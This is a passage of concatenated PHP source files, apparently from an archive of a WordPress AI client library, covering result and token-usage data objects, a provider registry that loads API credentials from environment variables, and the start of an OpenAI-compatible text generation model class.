return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this result.'], self::KEY_CANDIDATES => ['type' => 'array', 'items' => \WordPress\AiClient\Results\DTO\Candidate::getJsonSchema(), 'minItems' => 1, 'description' => 'The generated candidates.'], self::KEY_TOKEN_USAGE => \WordPress\AiClient\Results\DTO\TokenUsage::getJsonSchema(), self::KEY_PROVIDER_METADATA => ProviderMetadata::getJsonSchema(), self::KEY_MODEL_METADATA => ModelMetadata::getJsonSchema(), self::KEY_ADDITIONAL_DATA => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Additional data included in the API response.']], 'required' => [self::KEY_ID, self::KEY_CANDIDATES, self::KEY_TOKEN_USAGE, self::KEY_PROVIDER_METADATA, self::KEY_MODEL_METADATA]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return GenerativeAiResultArrayShape
*/
public function toArray(): array
{
return [self::KEY_ID => $this->id, self::KEY_CANDIDATES => array_map(fn(\WordPress\AiClient\Results\DTO\Candidate $candidate) => $candidate->toArray(), $this->candidates), self::KEY_TOKEN_USAGE => $this->tokenUsage->toArray(), self::KEY_PROVIDER_METADATA => $this->providerMetadata->toArray(), self::KEY_MODEL_METADATA => $this->modelMetadata->toArray(), self::KEY_ADDITIONAL_DATA => $this->additionalData];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_ID, self::KEY_CANDIDATES, self::KEY_TOKEN_USAGE, self::KEY_PROVIDER_METADATA, self::KEY_MODEL_METADATA]);
$candidates = array_map(fn(array $candidateData) => \WordPress\AiClient\Results\DTO\Candidate::fromArray($candidateData), $array[self::KEY_CANDIDATES]);
return new self($array[self::KEY_ID], $candidates, \WordPress\AiClient\Results\DTO\TokenUsage::fromArray($array[self::KEY_TOKEN_USAGE]), ProviderMetadata::fromArray($array[self::KEY_PROVIDER_METADATA]), ModelMetadata::fromArray($array[self::KEY_MODEL_METADATA]), $array[self::KEY_ADDITIONAL_DATA] ?? []);
}
/**
* Performs a deep clone of the result.
*
* This method ensures that all nested objects (candidates, token usage, metadata)
* are cloned to prevent modifications to the cloned result from affecting the original.
*
* @since 0.4.2
*/
public function __clone()
{
$clonedCandidates = [];
foreach ($this->candidates as $candidate) {
$clonedCandidates[] = clone $candidate;
}
$this->candidates = $clonedCandidates;
$this->tokenUsage = clone $this->tokenUsage;
$this->providerMetadata = clone $this->providerMetadata;
$this->modelMetadata = clone $this->modelMetadata;
}
}
src/Results/DTO/TokenUsage.php 0000644 00000011420 15220530455 0012177 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Results\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
/**
* Represents token usage statistics for an AI operation.
*
* This DTO tracks the number of tokens used in prompts and completions,
* which is important for monitoring usage and costs.
*
* Note that thought tokens are a subset of completion tokens, not additive.
* In other words: completionTokens - thoughtTokens = tokens of actual output content.
*
* @since 0.1.0
*
* @phpstan-type TokenUsageArrayShape array{
* promptTokens: int,
* completionTokens: int,
* totalTokens: int,
* thoughtTokens?: int
* }
*
* @extends AbstractDataTransferObject<TokenUsageArrayShape>
*/
class TokenUsage extends AbstractDataTransferObject
{
public const KEY_PROMPT_TOKENS = 'promptTokens';
public const KEY_COMPLETION_TOKENS = 'completionTokens';
public const KEY_TOTAL_TOKENS = 'totalTokens';
public const KEY_THOUGHT_TOKENS = 'thoughtTokens';
/**
* @var int Number of tokens in the prompt.
*/
private int $promptTokens;
/**
* @var int Number of tokens in the completion, including any thought tokens.
*/
private int $completionTokens;
/**
* @var int Total number of tokens used.
*/
private int $totalTokens;
/**
* @var int|null Number of tokens used for thinking, as a subset of completion tokens.
*/
private ?int $thoughtTokens;
/**
* Constructor.
*
* @since 0.1.0
*
* @param int $promptTokens Number of tokens in the prompt.
* @param int $completionTokens Number of tokens in the completion, including any thought tokens.
* @param int $totalTokens Total number of tokens used.
* @param int|null $thoughtTokens Number of tokens used for thinking, as a subset of completion tokens.
*/
public function __construct(int $promptTokens, int $completionTokens, int $totalTokens, ?int $thoughtTokens = null)
{
$this->promptTokens = $promptTokens;
$this->completionTokens = $completionTokens;
$this->totalTokens = $totalTokens;
$this->thoughtTokens = $thoughtTokens;
}
/**
* Gets the number of prompt tokens.
*
* @since 0.1.0
*
* @return int The prompt token count.
*/
public function getPromptTokens(): int
{
return $this->promptTokens;
}
/**
* Gets the number of completion tokens, including any thought tokens.
*
* @since 0.1.0
*
* @return int The completion token count.
*/
public function getCompletionTokens(): int
{
return $this->completionTokens;
}
/**
* Gets the total number of tokens.
*
* @since 0.1.0
*
* @return int The total token count.
*/
public function getTotalTokens(): int
{
return $this->totalTokens;
}
/**
* Gets the number of thought tokens, which is a subset of the completion token count.
*
* @since 1.3.0
*
* @return int|null The thought token count or null if not available.
*/
public function getThoughtTokens(): ?int
{
return $this->thoughtTokens;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_PROMPT_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens in the prompt.'], self::KEY_COMPLETION_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens in the completion, including any thought tokens.'], self::KEY_TOTAL_TOKENS => ['type' => 'integer', 'description' => 'Total number of tokens used.'], self::KEY_THOUGHT_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens used for thinking, as a subset of completion tokens.']], 'required' => [self::KEY_PROMPT_TOKENS, self::KEY_COMPLETION_TOKENS, self::KEY_TOTAL_TOKENS]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return TokenUsageArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_PROMPT_TOKENS => $this->promptTokens, self::KEY_COMPLETION_TOKENS => $this->completionTokens, self::KEY_TOTAL_TOKENS => $this->totalTokens];
if ($this->thoughtTokens !== null) {
$data[self::KEY_THOUGHT_TOKENS] = $this->thoughtTokens;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_PROMPT_TOKENS, self::KEY_COMPLETION_TOKENS, self::KEY_TOTAL_TOKENS]);
return new self($array[self::KEY_PROMPT_TOKENS], $array[self::KEY_COMPLETION_TOKENS], $array[self::KEY_TOTAL_TOKENS], $array[self::KEY_THOUGHT_TOKENS] ?? null);
}
}
src/Providers/ProviderRegistry.php 0000644 00000057020 15220530455 0013351 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers;
use WordPress\AiClientDependencies\Http\Discovery\Exception\NotFoundException as DiscoveryNotFoundException;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Contracts\ProviderInterface;
use WordPress\AiClient\Providers\Contracts\ProviderWithOperationsHandlerInterface;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\DTO\ProviderModelsMetadata;
use WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
use WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithHttpTransporterInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithRequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\HttpTransporterFactory;
use WordPress\AiClient\Providers\Http\Traits\WithHttpTransporterTrait;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelRequirements;
/**
* Registry for managing AI providers and their models.
*
* This class provides a centralized way to register AI providers, discover
* their capabilities, and find suitable models based on requirements.
*
* @since 0.1.0
*/
class ProviderRegistry implements WithHttpTransporterInterface
{
use WithHttpTransporterTrait {
setHttpTransporter as setHttpTransporterOriginal;
}
/**
* @var array<string, class-string<ProviderInterface>> Mapping of provider IDs to class names.
*/
private array $registeredIdsToClassNames = [];
/**
* @var array<class-string<ProviderInterface>, string> Mapping of provider class names to IDs.
*/
private array $registeredClassNamesToIds = [];
/**
* @var array<class-string<ProviderInterface>, RequestAuthenticationInterface> Mapping of provider class names to
* authentication instances.
*/
private array $providerAuthenticationInstances = [];
/**
* Registers a provider class with the registry.
*
* @since 0.1.0
*
* @param class-string<ProviderInterface> $className The fully qualified provider class name implementing the
* ProviderInterface
* @throws InvalidArgumentException If the class doesn't exist or implement the required interface.
*/
public function registerProvider(string $className): void
{
if (!class_exists($className)) {
throw new InvalidArgumentException(sprintf('Provider class does not exist: %s', $className));
}
// Validate that class implements ProviderInterface
if (!is_subclass_of($className, ProviderInterface::class)) {
throw new InvalidArgumentException(sprintf('Provider class must implement %s: %s', ProviderInterface::class, $className));
}
$metadata = $className::metadata();
if (!$metadata instanceof ProviderMetadata) {
throw new InvalidArgumentException(sprintf('Provider must return ProviderMetadata from metadata() method: %s', $className));
}
// If there is already a HTTP transporter instance set, hook it up to the provider as needed.
try {
$httpTransporter = $this->getHttpTransporter();
} catch (RuntimeException $e) {
/*
* If this fails, it's okay. There is no defined sequence between setting the HTTP transporter in the
* registry and registering providers in it, so it might be that the transporter is set later. It will be
* hooked up then.
* But for now we can ignore this exception and attempt to set the default HTTP transporter, if possible.
*/
try {
$this->setHttpTransporter(HttpTransporterFactory::createTransporter());
$httpTransporter = $this->getHttpTransporter();
} catch (DiscoveryNotFoundException $e) {
/*
* If no HTTP client implementation can be discovered yet, we can ignore this for now.
* It might be set later, so it's not a hard error at this point.
* We'll try again the next time a provider is registered, or maybe by that time an explicit
* HTTP transporter will have been set.
*/
}
}
if (isset($httpTransporter)) {
$this->setHttpTransporterForProvider($className, $httpTransporter);
}
// Hook up the request authentication instance, using a default if not set.
if (!isset($this->providerAuthenticationInstances[$className])) {
$defaultProviderAuthentication = $this->createDefaultProviderRequestAuthentication($className);
if ($defaultProviderAuthentication !== null) {
$this->providerAuthenticationInstances[$className] = $defaultProviderAuthentication;
}
}
if (isset($this->providerAuthenticationInstances[$className])) {
$this->setRequestAuthenticationForProvider($className, $this->providerAuthenticationInstances[$className]);
}
$this->registeredIdsToClassNames[$metadata->getId()] = $className;
$this->registeredClassNamesToIds[$className] = $metadata->getId();
}
/**
* Gets a list of all registered provider IDs.
*
* @since 0.1.0
*
* @return list<string> List of registered provider IDs.
*/
public function getRegisteredProviderIds(): array
{
return array_keys($this->registeredIdsToClassNames);
}
/**
* Checks if a provider is registered.
*
* @since 0.1.0
*
* @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name to check.
* @return bool True if the provider is registered.
*/
public function hasProvider(string $idOrClassName): bool
{
return $this->isRegisteredId($idOrClassName) || $this->isRegisteredClassName($idOrClassName);
}
/**
* Gets the class name for a registered provider.
*
* @since 0.1.0
*
* @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
* @return class-string<ProviderInterface> The provider class name.
* @throws InvalidArgumentException If the provider is not registered.
*/
public function getProviderClassName(string $idOrClassName): string
{
// If it's already a class name, return it
if ($this->isRegisteredClassName($idOrClassName)) {
return $idOrClassName;
}
// If it's a registered ID, return its class name
if ($this->isRegisteredId($idOrClassName)) {
return $this->registeredIdsToClassNames[$idOrClassName];
}
// Not found
throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName));
}
/**
* Gets the provider ID for a registered provider.
*
* @since 0.2.0
*
* @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
* @return string The provider ID.
* @throws InvalidArgumentException If the provider is not registered.
*/
public function getProviderId(string $idOrClassName): string
{
// If it's already an ID, return it
if ($this->isRegisteredId($idOrClassName)) {
return $idOrClassName;
}
// If it's a registered class name, return its ID
if ($this->isRegisteredClassName($idOrClassName)) {
return $this->registeredClassNamesToIds[$idOrClassName];
}
// Not found
throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName));
}
/**
* Checks if a provider is properly configured.
*
* @since 0.1.0
*
* @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
* @return bool True if the provider is configured and ready to use.
*/
public function isProviderConfigured(string $idOrClassName): bool
{
try {
$className = $this->resolveProviderClassName($idOrClassName);
// Use static method from ProviderInterface
/** @var class-string<ProviderInterface> $className */
$availability = $className::availability();
return $availability->isConfigured();
} catch (InvalidArgumentException $e) {
return \false;
}
}
/**
* Finds models across all available providers that support the given requirements.
*
* @since 0.1.0
*
* @param ModelRequirements $modelRequirements The requirements to match against.
* @return list<ProviderModelsMetadata> List of provider models metadata that match requirements.
*/
public function findModelsMetadataForSupport(ModelRequirements $modelRequirements): array
{
$results = [];
foreach ($this->registeredIdsToClassNames as $providerId => $className) {
$providerResults = $this->findProviderModelsMetadataForSupport($providerId, $modelRequirements);
if (!empty($providerResults)) {
// Use static method from ProviderInterface
/** @var class-string<ProviderInterface> $className */
$providerMetadata = $className::metadata();
$results[] = new ProviderModelsMetadata($providerMetadata, $providerResults);
}
}
return $results;
}
/**
* Finds models within a specific available provider that support the given requirements.
*
* @since 0.1.0
*
* @param string $idOrClassName The provider ID or class name.
* @param ModelRequirements $modelRequirements The requirements to match against.
* @return list<ModelMetadata> List of model metadata that match requirements.
*/
public function findProviderModelsMetadataForSupport(string $idOrClassName, ModelRequirements $modelRequirements): array
{
$className = $this->resolveProviderClassName($idOrClassName);
// If the provider is not configured, there is no way to use it, so it is considered unavailable.
if (!$this->isProviderConfigured($className)) {
return [];
}
$modelMetadataDirectory = $className::modelMetadataDirectory();
// Filter models that meet requirements
$matchingModels = [];
foreach ($modelMetadataDirectory->listModelMetadata() as $modelMetadata) {
if ($modelRequirements->areMetBy($modelMetadata)) {
$matchingModels[] = $modelMetadata;
}
}
return $matchingModels;
}
/**
* Gets a configured model instance from a provider.
*
* @since 0.1.0
*
* @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
* @param string $modelId The model identifier.
* @param ModelConfig|null $modelConfig The model configuration.
* @return ModelInterface The configured model instance.
* @throws InvalidArgumentException If provider or model is not found.
*/
public function getProviderModel(string $idOrClassName, string $modelId, ?ModelConfig $modelConfig = null): ModelInterface
{
$className = $this->resolveProviderClassName($idOrClassName);
$modelInstance = $className::model($modelId, $modelConfig);
$this->bindModelDependencies($modelInstance);
return $modelInstance;
}
/**
* Binds dependencies to a model instance.
*
* This method injects required dependencies such as HTTP transporter
* and authentication into model instances that need them.
*
* @since 0.1.0
*
* @param ModelInterface $modelInstance The model instance to bind dependencies to.
* @return void
*/
public function bindModelDependencies(ModelInterface $modelInstance): void
{
$className = $this->resolveProviderClassName($modelInstance->providerMetadata()->getId());
if ($modelInstance instanceof WithHttpTransporterInterface) {
$modelInstance->setHttpTransporter($this->getHttpTransporter());
}
if ($modelInstance instanceof WithRequestAuthenticationInterface) {
$requestAuthentication = $this->getProviderRequestAuthentication($className);
if ($requestAuthentication !== null) {
$modelInstance->setRequestAuthentication($requestAuthentication);
}
}
}
/**
* Gets the class name for a registered provider (handles both ID and class name input).
*
* @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
* @return class-string<ProviderInterface> The provider class name.
* @throws InvalidArgumentException If provider is not registered.
*/
private function resolveProviderClassName(string $idOrClassName): string
{
// If it's already a class name, return it
if ($this->isRegisteredClassName($idOrClassName)) {
return $idOrClassName;
}
// If it's a registered ID, return its class name
if ($this->isRegisteredId($idOrClassName)) {
return $this->registeredIdsToClassNames[$idOrClassName];
}
// Not found
throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName));
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function setHttpTransporter(HttpTransporterInterface $httpTransporter): void
{
$this->setHttpTransporterOriginal($httpTransporter);
// Make sure all registered providers have the HTTP transporter hooked up as needed.
foreach ($this->registeredIdsToClassNames as $className) {
$this->setHttpTransporterForProvider($className, $httpTransporter);
}
}
/**
* Sets the request authentication instance for the given provider.
*
* @since 0.1.0
*
* @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
* @param RequestAuthenticationInterface $requestAuthentication The request authentication instance.
*/
public function setProviderRequestAuthentication(string $idOrClassName, RequestAuthenticationInterface $requestAuthentication): void
{
$className = $this->resolveProviderClassName($idOrClassName);
$this->providerAuthenticationInstances[$className] = $requestAuthentication;
$this->setRequestAuthenticationForProvider($className, $requestAuthentication);
}
/**
* Gets the request authentication instance for the given provider, if set.
*
* @since 0.1.0
*
* @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
* @return ?RequestAuthenticationInterface The request authentication instance, or null if not set.
*/
public function getProviderRequestAuthentication(string $idOrClassName): ?RequestAuthenticationInterface
{
$className = $this->resolveProviderClassName($idOrClassName);
if (!isset($this->providerAuthenticationInstances[$className])) {
return null;
}
return $this->providerAuthenticationInstances[$className];
}
/**
* Sets the HTTP transporter for a specific provider, hooking up its class instances.
*
* @since 0.1.0
*
* @param class-string<ProviderInterface> $className The provider class name.
* @param HttpTransporterInterface $httpTransporter The HTTP transporter instance.
*/
private function setHttpTransporterForProvider(string $className, HttpTransporterInterface $httpTransporter): void
{
$availability = $className::availability();
if ($availability instanceof WithHttpTransporterInterface) {
$availability->setHttpTransporter($httpTransporter);
}
$modelMetadataDirectory = $className::modelMetadataDirectory();
if ($modelMetadataDirectory instanceof WithHttpTransporterInterface) {
$modelMetadataDirectory->setHttpTransporter($httpTransporter);
}
if (is_subclass_of($className, ProviderWithOperationsHandlerInterface::class)) {
$operationsHandler = $className::operationsHandler();
if ($operationsHandler instanceof WithHttpTransporterInterface) {
$operationsHandler->setHttpTransporter($httpTransporter);
}
}
}
/**
* Sets the request authentication for a specific provider, hooking up its class instances.
*
* @since 0.1.0
*
* @param class-string<ProviderInterface> $className The provider class name.
* @param RequestAuthenticationInterface $requestAuthentication The authentication instance.
*
* @throws InvalidArgumentException If the authentication instance is not of the expected type.
*/
private function setRequestAuthenticationForProvider(string $className, RequestAuthenticationInterface $requestAuthentication): void
{
$authenticationMethod = $className::metadata()->getAuthenticationMethod();
if ($authenticationMethod === null) {
throw new InvalidArgumentException(sprintf('Provider %s does not expect any authentication, but got %s.', $className, get_class($requestAuthentication)));
}
$expectedClass = $authenticationMethod->getImplementationClass();
if (!$requestAuthentication instanceof $expectedClass) {
throw new InvalidArgumentException(sprintf('Provider %s expects authentication of type %s, but got %s.', $className, $expectedClass, get_class($requestAuthentication)));
}
$availability = $className::availability();
if ($availability instanceof WithRequestAuthenticationInterface) {
$availability->setRequestAuthentication($requestAuthentication);
}
$modelMetadataDirectory = $className::modelMetadataDirectory();
if ($modelMetadataDirectory instanceof WithRequestAuthenticationInterface) {
$modelMetadataDirectory->setRequestAuthentication($requestAuthentication);
}
if (is_subclass_of($className, ProviderWithOperationsHandlerInterface::class)) {
$operationsHandler = $className::operationsHandler();
if ($operationsHandler instanceof WithRequestAuthenticationInterface) {
$operationsHandler->setRequestAuthentication($requestAuthentication);
}
}
}
/**
* Creates a default request authentication instance for a provider.
*
* @since 0.1.0
*
* @param class-string<ProviderInterface> $className The provider class name.
* @return ?RequestAuthenticationInterface The default request authentication instance, or null if not required or
* if no credential data can be found.
*/
private function createDefaultProviderRequestAuthentication(string $className): ?RequestAuthenticationInterface
{
$providerMetadata = $className::metadata();
$providerId = $providerMetadata->getId();
$authenticationMethod = $providerMetadata->getAuthenticationMethod();
if ($authenticationMethod === null) {
return null;
}
$authenticationClass = $authenticationMethod->getImplementationClass();
if ($authenticationClass === null) {
return null;
}
$authenticationSchema = $authenticationClass::getJsonSchema();
// Iterate over all JSON schema object properties to try to determine the necessary authentication data.
$authenticationData = [];
if (isset($authenticationSchema['properties']) && is_array($authenticationSchema['properties'])) {
/** @var array<string, mixed> $details */
foreach ($authenticationSchema['properties'] as $property => $details) {
$envVarName = $this->getEnvVarName($providerId, $property);
// Try to get the value from environment variable or constant.
$envValue = getenv($envVarName);
if ($envValue === \false) {
if (!defined($envVarName)) {
continue;
// Skip if neither environment variable nor constant is defined.
}
$envValue = constant($envVarName);
if (!is_scalar($envValue)) {
continue;
}
}
if (isset($details['type'])) {
switch ($details['type']) {
case 'boolean':
$authenticationData[$property] = filter_var($envValue, \FILTER_VALIDATE_BOOLEAN);
break;
case 'number':
$authenticationData[$property] = (int) $envValue;
break;
case 'string':
default:
$authenticationData[$property] = (string) $envValue;
}
} else {
// Default to string if no type is specified.
$authenticationData[$property] = (string) $envValue;
}
}
// If any required fields are missing, return null to avoid immediate errors.
if (isset($authenticationSchema['required']) && is_array($authenticationSchema['required'])) {
/** @var list<string> $requiredProperties */
$requiredProperties = $authenticationSchema['required'];
if (array_diff_key(array_flip($requiredProperties), $authenticationData)) {
return null;
}
}
}
/** @var RequestAuthenticationInterface */
/** @var array<string, mixed> $authenticationData */
return $authenticationClass::fromArray($authenticationData);
}
/**
* Checks if the given value is a registered provider class name.
*
* @since 0.4.0
*
* @param string $idOrClassName The value to check.
* @return bool True if it's a registered class name.
* @phpstan-assert-if-true class-string<ProviderInterface> $idOrClassName
*/
private function isRegisteredClassName(string $idOrClassName): bool
{
return isset($this->registeredClassNamesToIds[$idOrClassName]);
}
/**
* Checks if the given value is a registered provider ID.
*
* @since 0.4.0
*
* @param string $idOrClassName The value to check.
* @return bool True if it's a registered provider ID.
*/
private function isRegisteredId(string $idOrClassName): bool
{
return isset($this->registeredIdsToClassNames[$idOrClassName]);
}
/**
* Converts a provider ID and field name to a constant case environment variable name.
*
* @since 0.1.0
*
* @param string $providerId The provider ID.
* @param string $field The field name.
* @return string The environment variable name in CONSTANT_CASE.
*/
private function getEnvVarName(string $providerId, string $field): string
{
// Convert camelCase or kebab-case or snake_case to CONSTANT_CASE.
$constantCaseProviderId = strtoupper((string) preg_replace('/([a-z])([A-Z])/', '$1_$2', str_replace('-', '_', $providerId)));
$constantCaseField = strtoupper((string) preg_replace('/([a-z])([A-Z])/', '$1_$2', str_replace('-', '_', $field)));
return "{$constantCaseProviderId}_{$constantCaseField}";
}
}
src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleTextGenerationModel.php 0000644 00000061237 15220530455 0026615 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\OpenAiCompatibleImplementation;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\Enums\MessagePartChannelEnum;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Messages\Enums\ModalityEnum;
use WordPress\AiClient\Providers\ApiBasedImplementation\AbstractApiBasedModel;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Enums\HttpMethodEnum;
use WordPress\AiClient\Providers\Http\Exception\ResponseException;
use WordPress\AiClient\Providers\Http\Util\ResponseUtil;
use WordPress\AiClient\Providers\Models\TextGeneration\Contracts\TextGenerationModelInterface;
use WordPress\AiClient\Results\DTO\Candidate;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
use WordPress\AiClient\Results\DTO\TokenUsage;
use WordPress\AiClient\Results\Enums\FinishReasonEnum;
use WordPress\AiClient\Tools\DTO\FunctionCall;
use WordPress\AiClient\Tools\DTO\FunctionDeclaration;
/**
* Base class for a text generation model for providers that implement OpenAI's API format.
*
* This abstract class is designed to work with any AI provider that offers an OpenAI-compatible
* API endpoint, including but not limited to Anthropic, Google, and other providers
* that have adopted OpenAI's API specification as a standard interface.
*
* @since 0.1.0
*
* @phpstan-type ToolCallData array{
* type?: string,
* id?: string,
* function?: array{
* name?: string,
* arguments: string|array<string, mixed>
* }
* }
* @phpstan-type MessageData array{
* role?: string,
* reasoning_content?: string,
* content?: string,
* tool_calls?: list<ToolCallData>
* }
* @phpstan-type ChoiceData array{
* message?: MessageData,
* finish_reason?: string
* }
* @phpstan-type UsageData array{
* prompt_tokens?: int,
* completion_tokens?: int,
* total_tokens?: int
* }
* @phpstan-type ResponseData array{
* id?: string,
* choices?: list<ChoiceData>,
* usage?: UsageData
* }
*/
abstract class AbstractOpenAiCompatibleTextGenerationModel extends AbstractApiBasedModel implements TextGenerationModelInterface
{
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public function generateTextResult(array $prompt): GenerativeAiResult
{
$httpTransporter = $this->getHttpTransporter();
$params = $this->prepareGenerateTextParams($prompt);
$request = $this->createRequest(HttpMethodEnum::POST(), 'chat/completions', ['Content-Type' => 'application/json'], $params);
// Add authentication credentials to the request.
$request = $this->getRequestAuthentication()->authenticateRequest($request);
// Send and process the request.
$response = $httpTransporter->send($request);
$this->throwIfNotSuccessful($response);
return $this->parseResponseToGenerativeAiResult($response);
}
/**
* Prepares the given prompt and the model configuration into parameters for the API request.
*
* @since 0.1.0
*
* @param list<Message> $prompt The prompt to generate text for. Either a single message or a list of messages
* from a chat.
* @return array<string, mixed> The parameters for the API request.
*/
protected function prepareGenerateTextParams(array $prompt): array
{
$config = $this->getConfig();
$params = ['model' => $this->metadata()->getId(), 'messages' => $this->prepareMessagesParam($prompt, $config->getSystemInstruction())];
$outputModalities = $config->getOutputModalities();
if (is_array($outputModalities)) {
$this->validateOutputModalities($outputModalities);
if (count($outputModalities) > 1) {
$params['modalities'] = $this->prepareOutputModalitiesParam($outputModalities);
}
}
$candidateCount = $config->getCandidateCount();
if ($candidateCount !== null) {
$params['n'] = $candidateCount;
}
$maxTokens = $config->getMaxTokens();
if ($maxTokens !== null) {
$params['max_tokens'] = $maxTokens;
}
$temperature = $config->getTemperature();
if ($temperature !== null) {
$params['temperature'] = $temperature;
}
$topP = $config->getTopP();
if ($topP !== null) {
$params['top_p'] = $topP;
}
$stopSequences = $config->getStopSequences();
if (is_array($stopSequences)) {
$params['stop'] = $stopSequences;
}
$presencePenalty = $config->getPresencePenalty();
if ($presencePenalty !== null) {
$params['presence_penalty'] = $presencePenalty;
}
$frequencyPenalty = $config->getFrequencyPenalty();
if ($frequencyPenalty !== null) {
$params['frequency_penalty'] = $frequencyPenalty;
}
$logprobs = $config->getLogprobs();
if ($logprobs !== null) {
$params['logprobs'] = $logprobs;
}
$topLogprobs = $config->getTopLogprobs();
if ($topLogprobs !== null) {
$params['top_logprobs'] = $topLogprobs;
}
$functionDeclarations = $config->getFunctionDeclarations();
if (is_array($functionDeclarations)) {
$params['tools'] = $this->prepareToolsParam($functionDeclarations);
}
$outputMimeType = $config->getOutputMimeType();
if ('application/json' === $outputMimeType) {
$outputSchema = $config->getOutputSchema();
$params['response_format'] = $this->prepareResponseFormatParam($outputSchema);
}
/*
* Any custom options are added to the parameters as well.
* This allows developers to pass other options that may be more niche or not yet supported by the SDK.
*/
$customOptions = $config->getCustomOptions();
foreach ($customOptions as $key => $value) {
if (isset($params[$key])) {
throw new InvalidArgumentException(sprintf('The custom option "%s" conflicts with an existing parameter.', $key));
}
$params[$key] = $value;
}
return $params;
}
/**
* Prepares the messages parameter for the API request.
*
* @since 0.1.0
*
* @param list<Message> $messages The messages to prepare.
* @param string|null $systemInstruction An optional system instruction to prepend to the messages.
* @return list<array<string, mixed>> The prepared messages parameter.
*/
protected function prepareMessagesParam(array $messages, ?string $systemInstruction = null): array
{
$messagesParam = array_map(function (Message $message): array {
// Special case: Function response.
$messageParts = $message->getParts();
if (count($messageParts) === 1 && $messageParts[0]->getType()->isFunctionResponse()) {
$functionResponse = $messageParts[0]->getFunctionResponse();
if (!$functionResponse) {
// This should be impossible due to class internals, but still needs to be checked.
throw new RuntimeException('The function response typed message part must contain a function response.');
}
return ['role' => 'tool', 'content' => json_encode($functionResponse->getResponse()), 'tool_call_id' => $functionResponse->getId()];
}
$messageData = ['role' => $this->getMessageRoleString($message->getRole()), 'content' => array_values(array_filter(array_map([$this, 'getMessagePartContentData'], $messageParts)))];
// Only include tool_calls if there are any (OpenAI rejects empty arrays).
$toolCalls = array_values(array_filter(array_map([$this, 'getMessagePartToolCallData'], $messageParts)));
if (!empty($toolCalls)) {
$messageData['tool_calls'] = $toolCalls;
}
return $messageData;
}, $messages);
if ($systemInstruction) {
array_unshift($messagesParam, [
/*
* TODO: Replace this with 'developer' in the future.
* See https://platform.openai.com/docs/api-reference/chat/create#chat_create-messages
*/
'role' => 'system',
'content' => [['type' => 'text', 'text' => $systemInstruction]],
]);
}
return $messagesParam;
}
/**
* Returns the OpenAI API specific role string for the given message role.
*
* @since 0.1.0
*
* @param MessageRoleEnum $role The message role.
* @return string The role for the API request.
*/
protected function getMessageRoleString(MessageRoleEnum $role): string
{
if ($role === MessageRoleEnum::model()) {
return 'assistant';
}
return 'user';
}
/**
* Returns the OpenAI API specific content data for a message part.
*
* @since 0.1.0
*
* @param MessagePart $part The message part to get the data for.
* @return ?array<string, mixed> The data for the message content part, or null if not applicable.
* @throws InvalidArgumentException If the message part type or data is unsupported.
*/
protected function getMessagePartContentData(MessagePart $part): ?array
{
$type = $part->getType();
if ($type->isText()) {
/*
* The OpenAI Chat Completions API spec does not support annotating thought parts as input,
* so we instead skip them.
*/
if ($part->getChannel()->isThought()) {
return null;
}
return ['type' => 'text', 'text' => $part->getText()];
}
if ($type->isFile()) {
$file = $part->getFile();
if (!$file) {
// This should be impossible due to class internals, but still needs to be checked.
throw new RuntimeException('The file typed message part must contain a file.');
}
if ($file->isRemote()) {
if ($file->isImage()) {
return ['type' => 'image_url', 'image_url' => ['url' => $file->getUrl()]];
}
throw new InvalidArgumentException(sprintf('Unsupported MIME type "%s" for remote file message part.', $file->getMimeType()));
}
// Else, it is an inline file.
if ($file->isImage()) {
